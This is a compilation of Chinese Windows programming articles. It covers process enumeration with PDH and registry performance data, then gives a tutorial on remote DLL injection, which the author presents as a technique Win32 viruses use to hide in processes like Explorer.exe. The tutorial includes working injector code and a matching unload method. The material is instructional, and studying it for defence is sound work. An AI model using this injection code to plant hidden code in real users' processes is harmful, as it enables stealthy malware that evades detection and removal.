                sizeof(szProcessName), NULL, NULL);
            // 获取进程PID
            pCounter = (PPERF_COUNTER_BLOCK) ((DWORD)pInst + pInst->ByteLength);
            DWORD processId = *((LPDWORD) ((DWORD)pCounter + dwProcessIdCounter));
            if (strcmp(szProcessName, "System") && processId)
            {
                CProcessItem  processItem;
                processItem.SetProcessId(processId);
                processItem.SetProcessName(szProcessName);    
                mProcList.AddTail(processItem);
            }
            // Point to the next process
            pInst = (PPERF_INSTANCE_DEFINITION) ((DWORD)pCounter + pCounter->ByteLength);
        }
    }

    if (buffer)
    {
        free(buffer);
        buffer = NULL;
    }
    RegCloseKey(hSubKey);
    RegCloseKey(HKEY_PERFORMANCE_DATA);
    return pass;
}

注：方法三用到的仅仅是注册表操作函数，而这些函数在advapi32.dll中实现。程序开发中，我们需要包含头文件winperf.h。另外，该方法中各个进程所调用的模块，仍然使用方法二的PSAPI函数获得，这里就不再列出。

方法四：使用PDH （Performance Data Helper）函数
这种方法的底层实现跟方法三其实是一样的。但我们看到，方法三实现起来非常繁琐。为了简化应用，PDH函数对方法三的实现进行了一层封装。我们这里的进程枚举，主要使用PdhEnumObjectItems函数，它的函数原型如下：
PDH_STATUS PdhEnumObjectItems(
  LPCTSTR szDataSource,                      // 数据源
  LPCTSTR szMachineName,                 // 机器名
  LPCTSTR szObjectName,                    // 对象名
  LPTSTR mszCounterList,                    // 计数器列表
  LPDWORD pcchCounterListLength,   // 计数器列表长度
  LPTSTR mszInstanceList,                    // 实例列表
  LPDWORD pcchInstanceListLength,   // 实例列表长度
  DWORD dwDetailLevel,                      // 获取信息的级别
  DWORD dwFlags                                 // 保留为0
);

对 于每一个获得的进程实例，我们还要得到它的PID，也就是得到“ID Process”计数器的值。这时，我们会用到其他的PDH函数，包括：PdhOpenQuery、PdhAddCounter、 PdhCollectQueryData、PdhGetFormattedCounterValue、PdhCloseQuery等。

我们的演示程序提供了完整的代码实现：
BOOL CPDHSpy::BuildProcessList(void)
{
    LPTSTR      szCounterListBuffer     = NULL;
    DWORD       dwCounterListSize       = 0;
    LPTSTR      szInstanceListBuffer    = NULL;
    DWORD       dwInstanceListSize      = 0;
    
    BOOL pass = FALSE;
    // 第一次调用PdhEnumObjectItems以获取需要的列表长度
    PDH_STATUS pdhStatus = PdhEnumObjectItems(NULL, NULL, TEXT("Process"),
        szCounterListBuffer, &dwCounterListSize, szInstanceListBuffer,
        &dwInstanceListSize, PERF_DETAIL_WIZARD, 0);
    if (pdhStatus == ERROR_SUCCESS)
    {
        szCounterListBuffer  = (LPTSTR) malloc((dwCounterListSize * sizeof (TCHAR)));
        szInstanceListBuffer = (LPTSTR) malloc((dwInstanceListSize * sizeof (TCHAR)));
        // 第二次调用PdhEnumObjectItems
// 获得“Process”对象的所有计数器和实例
        pdhStatus = PdhEnumObjectItems(NULL, NULL, TEXT("Process"),
            szCounterListBuffer, &dwCounterListSize, szInstanceListBuffer,
            &dwInstanceListSize, PERF_DETAIL_WIZARD, 0);    
        if (pdhStatus == ERROR_SUCCESS)
        {
            pass = TRUE;
            LPTSTR  pInst = szInstanceListBuffer;
            // 获得每个实例名，也就是进程名
            for (; *pInst != 0;    pInst += lstrlen(pInst) + 1)
            {
                if (strcmp(pInst, "System") && strcmp(pInst, "Idle") &&
                    strcmp(pInst, "_Total"))
                {
                    CProcessItem  processItem;
                    // 获得进程的PID
                    processItem.SetProcessId(GetPIDCounterValue(pInst));
                    processItem.SetProcessName(pInst);    
                    mProcList.AddTail(processItem);
                }
            }
        }
    }

    if (szCounterListBuffer != NULL)
    {
        free(szCounterListBuffer);
        szCounterListBuffer = NULL;
    }
    if (szInstanceListBuffer != NULL)
    {
        free(szInstanceListBuffer);
        szInstanceListBuffer = NULL;
    }
    return pass;
}

DWORD CPDHSpy::GetPIDCounterValue(LPTSTR inInstanceName)
{
    // 打开一个查询对象
    HQUERY   hQuery   = NULL;
    PDH_STATUS pdhStatus = PdhOpenQuery (0, 0, &hQuery);

    HCOUNTER hCounter = NULL;
    char szPathBuffer[MAX_PATH];
    sprintf(szPathBuffer, "\\Process(%s)\\ID Process", inInstanceName);
    pdhStatus = PdhAddCounter(hQuery, szPathBuffer, 0, &hCounter);
    pdhStatus = PdhCollectQueryData(hQuery);

    // 获得当前实例的“ID Process”计数器的值
    DWORD                  ctrType;
    PDH_FMT_COUNTERVALUE   fmtValue;
    pdhStatus = PdhGetFormattedCounterValue(hCounter, PDH_FMT_LONG,
        &ctrType, &fmtValue);

    // 关闭查询对象
    pdhStatus = PdhCloseQuery (hQuery);

    return fmtValue.longValue;
}

注：PDH函数在Pdh.dll中实现。程序开发中，我们需要包含头文件Pdh.h，连接库文件Pdh.lib。

演示程序说明
我们的演示程序使用VC6.0开发完成，是一个基于对话框的MFC程序。程序设计秉承OOP风格，以及用户界面（User Interface）与业务逻辑（Business Logic）分离的原则，结构简单、条理清晰，相信大家很容易能够读懂代码。

由于本文总共介绍了四种进程枚举的方法，我们设计了如下一个逻辑控制类继承结构：

图5 演示程序逻辑控制类结构

另外，演示程序对于进程调用的模块采用了延后枚举（Lazy Enumerating）的策略，即在程序启动的时候并没有将所有进程调用的模块都枚举好，而仅在需要的时候进行。这样可以显著节省程序启动的时间。

写在最后
进程隐藏（与其相对的就是进程枚举）一直是一个很热门的话题，思路有很多，其中有一种就是拦截系统API函数EnumProcesses的调用。通读本文后，你觉得这种思路可行吗？或者你有了其他新的想法！这些都是笔者写作此文的初衷。

正文完

附件：

    DLL的远程注入技术是目前Win32病毒广泛使用的一种技术。使用这种技术的病毒体通常位于一个DLL中，在系统启动的时候，一个EXE程序会将这个 DLL加载至某些系统进程（如Explorer.exe）中运行。这样一来，普通的进程管理器就很难发现这种病毒了，而且即使发现了也很难清除，因为只要 病毒寄生的进程不终止运行，那么这个DLL就不会在内存中卸载，用户也就无法在资源管理器中删除这个DLL文件，真可谓一箭双雕哉。

记 得2003年QQ尾巴病毒肆虐的时候，就已经有些尾巴病毒的变种在使用这种技术了。到了2004年初，我曾经尝试着仿真了一个QQ尾巴病毒，但独是跳过了 DLL的远程加载技术。直到最近在学校论坛上看到了几位朋友在探讨这一技术，便忍不住将这一尘封已久的技术从我的记忆中拣了出来，以满足广大的技术爱好者 们。

必备知识

在阅读本文之前，你需要了解以下几个API函数：

OpenProcess - 用于打开要寄生的目标进程。
VirtualAllocEx/VirtualFreeEx - 用于在目标进程中分配/释放内存空间。
WriteProcessMemory - 用于在目标进程中写入要加载的DLL名称。
CreateRemoteThread - 远程加载DLL的核心内容，用于控制目标进程调用API函数。
LoadLibrary - 目标进程通过调用此函数来加载病毒DLL。

在此我只给出了简要的函数说明，关于函数的详细功能和介绍请参阅MSDN。

示例程序

我将在以下的篇幅中用一个简单的示例Virus.exe来实现这一技术。这个示例的界面如下图：

首先运行Target.exe，这个文件是一个用Win32 Application向导生成的“Hello, World”程序，用来作为寄生的目标进程。

然后在界面的编辑控件中输入进程的名称“Target.exe”，单击“注入DLL”按钮，这时候Virus.exe就会将当前目录下的DLL.dll注入至Target.exe进程中。

在注入DLL.dll之后，你也可以单击“卸载DLL”来将已经注入的DLL卸载。

点这里下载示例程序

模拟的病毒体DLL.dll

这是一个简单的Win32 DLL程序，它仅由一个入口函数DllMain组成：

BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved ) {     switch ( fdwReason )      {     case DLL_PROCESS_ATTACH:          {              MessageBox( NULL, _T("DLL已进入目标进程。"), _T("信息"), MB_ICONINFORMATION );          }         break;     case DLL_PROCESS_DETACH:          {              MessageBox( NULL, _T("DLL已从目标进程卸载。"), _T("信息"), MB_ICONINFORMATION );          }         break;      }     return TRUE; }

如你所见，这里我在DLL被加载和卸载的时候调用了MessageBox，这是用来显示我的远程注入/卸载工作是否成功完成。而对于一个真正的病毒体来说，它往往就是处理DLL_PROCESS_ATTACH事件，在其中加入了启动病毒代码的部分：

case DLL_PROCESS_ATTACH:      {          StartVirus();      }     break;

注入！

现在要开始我们的注入工作了。首先，我们需要找到目标进程：

DWORD FindTarget( LPCTSTR lpszProcess ) {      DWORD dwRet = 0;      HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );      PROCESSENTRY32 pe32;      pe32.dwSize = sizeof( PROCESSENTRY32 );      Process32First( hSnapshot, &pe32 );     do      {         if ( lstrcmpi( pe32.szExeFile, lpszProcess ) == 0 )          {              dwRet = pe32.th32ProcessID;             break;          }      } while ( Process32Next( hSnapshot, &pe32 ) );      CloseHandle( hSnapshot );     return dwRet; }

这里我使用了Tool Help函数库，当然如果你是NT系统的话，也可以选择PSAPI函数库。这段代码的目的就是通过给定的进程名称来在当前系统中查找相应的进程，并返回该进程的ID。得到进程ID后，就可以调用OpenProcess来打开目标进程了：

// 打开目标进程 HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessID );

现在有必要说一下OpenProcess第一个参数所指定的三种权限。在Win32系统下，每个进程都拥有自己 的4G虚拟地址空间，各个进程之间都相互独立。如果一个进程需要完成跨进程的工作的话，那么它必须拥有目标进程的相应操作权限。在这里， PROCESS_CREATE_THREAD表示我可以通过返回的进程句柄在该进程中创建新的线程，也就是调用CreateRemoteThread的权 限；同理，PROCESS_VM_OPERATION则表示在该进程中分配/释放内存的权限，也就是调用 VirtualAllocEx/VirtualFreeEx的权限；PROCESS_VM_WRITE表示可以向该进程的地址空间写入数据，也就是调用 WriteProcessMemory的权限。

至此目标进程已经打开，那么我们该如何来将DLL注入其中呢？在这之前，我请你看一行代码，是如何在本进程内显式加载DLL的：

HMODULE hDll = LoadLibrary( "DLL.dll" );

那么，如果能控制目标进程调用LoadLibrary，不就可以完成DLL的远程注入了么？的确是这样，我们可 以通过CreateRemoteThread将LoadLibrary作为目标进程的一个线程来启动，这样就可以完成“控制目标进程调用 LoadLibrary”的工作了。到这里，也许你会想当然地写下类似这样的代码：

DWORD dwID; LPVOID pFunc = LoadLibraryA; HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, (LPVOID)"DLL.dll", 0, &dwID );

不过结果肯定会让你大失所望——注入DLL失败！

嗯嗯，那么现在让我们来分析一下失败的原因吧。我是前说过，在Win32系统下，每个进程都拥有自己的4G虚拟 地址空间，各个进程之间都是相互独立的。在这里，我们当作参数传入的字符串"DLL.dll"其实是一个数值，它表示这个字符串位于Virus.exe地 址空间之中的地址，而这个地址在传给Target.exe之后，它指向的东西就失去了有效性。举个例子来说，譬如A、B两栋大楼，我住在A楼的401；那 么B楼的401住的是谁我当然不能确定——也就是401这个门牌号在B楼失去了有效性，而且如果我想要入住B楼的话，我就必须请B楼的楼长为我在B楼中安 排新的住处（当然这个新的住处是否401也就不一定了）。

由此看来，我就需要做这么一系列略显繁杂的手续——首先在Target.exe目标进程中分配一段内存空间，然后向这段空间写入我要加载的DLL名称，最后再调用CreateRemoteThread。这段代码就成了这样：

// 向目标进程地址空间写入DLL名称 DWORD dwSize, dwWritten; dwSize = lstrlenA( lpszDll ) + 1; LPVOID lpBuf = VirtualAllocEx( hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE ); if ( NULL == lpBuf ) {      CloseHandle( hProcess );     // 失败处理 } if ( WriteProcessMemory( hProcess, lpBuf, (LPVOID)lpszDll, dwSize, &dwWritten ) ) {     // 要写入字节数与实际写入字节数不相等，仍属失败     if ( dwWritten != dwSize )      {          VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );          CloseHandle( hProcess );         // 失败处理      } } else {      CloseHandle( hProcess );     // 失败处理 } // 使目标进程调用LoadLibrary，加载DLL DWORD dwID; LPVOID pFunc = LoadLibraryA; HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpBuf, 0, &dwID );

需要说的有两点，一是由于我要在目标进程中为ANSI字符串来分配内存空间，所以这里凡是和目标进程相关的部 分，都明确使用了后缀为“A”的API函数——当然，如果要使用Unicode字符串的话，可以换作后缀是“W”的API；第二，在这里 LoadLibrary的指针我是取的本进程的LoadLibraryA的地址，这是因为LoadLibraryA/LoadLibraryW位于 kernel32.dll之中，而Win32下每个应用程序都会把kernel32.dll加载到进程地址空间中一个固定的地址，所以这里的函数地址在 Target.exe中也是有效的。

在调用LoadLibrary完毕之后，我们就可以做收尾工作了：

// 等待LoadLibrary加载完毕 WaitForSingleObject( hThread, INFINITE ); // 释放目标进程中申请的空间 VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT ); CloseHandle( hThread ); CloseHandle( hProcess );

在此解释一下WaitForSingleObject一句。由于我们是通过CreateRemoteThread在目标进程中另外开辟了一个LoadLibrary的线程，所以我们必须等待这个线程运行完毕才能够释放那段先前申请的内存。

好了，现在你可以尝试着整理这些代码并编译运行。运行Target.exe，然后开启一个有模块查看功能的进程查看工具（在这里我使用我的July）来查看Target.exe的模块，你会发现在注入DLL之前，Target.exe中并没有DLL.dll的存在：

在调用了注入代码之后，DLL.dll就位于Target.exe的模块列表之中了：

矛盾相生

记得2004年初我将QQ尾巴病毒成功仿真后，有很多网友询问我如何才能杀毒，不过我都没有回答——因为当时我研究的重点并非病毒的寄生特性。这一寄生特性直到今天可以说我才仿真完毕，那么，我就将解毒的方法也一并公开吧。

和DLL的注入过程类似，只不过在这里使用了两个API：GetModuleHandle和FreeLibrary。出于篇幅考虑，我略去了与注入部分相似或相同的代码：

// 使目标进程调用GetModuleHandle，获得DLL在目标进程中的句柄 DWORD dwHandle, dwID; LPVOID pFunc = GetModuleHandleA; HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpBuf, 0, &dwID ); // 等待GetModuleHandle运行完毕 WaitForSingleObject( hThread, INFINITE ); // 获得GetModuleHandle的返回值 GetExitCodeThread( hThread, &dwHandle ); // 释放目标进程中申请的空间 VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT ); CloseHandle( hThread ); // 使目标进程调用FreeLibrary，卸载DLL pFunc = FreeLibrary; hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, (LPVOID)dwHandle, 0, &dwID ); // 等待FreeLibrary卸载完毕 WaitForSingleObject( hThread, INFINITE ); CloseHandle( hThread ); CloseHandle( hProcess );

用这个方法可以卸载一个进程中的DLL模块，当然包括那些非病毒体的DLL。所以，这段代码还是谨慎使用为好。

在完成卸载之后，如果没有别的程序加载这个DLL，你就可以将它删除了。

?

2、在Create系列函数中通常都会有一个叫SECURITY_ATTRIBUTES的参数，

 SECURITY_ATTRIBUTES sa;

  sa.nLength = sizeof(SECURITY_ATTRIBUTES);

  sa.lpSecurityDescriptor = NULL;

 sa.bInheritHandle = TRUE;

 如果把bInheritHandle的值设为TRUE，意思就是它所创建出来的东西是可以被其他的子进程使用的，例如用CreatePipe创建的管道可以用在CreateProcess创建的进程中。

3、用CreateProcess创建子进程时通过lpCurrentDirectory参数指定子进程运行的路径。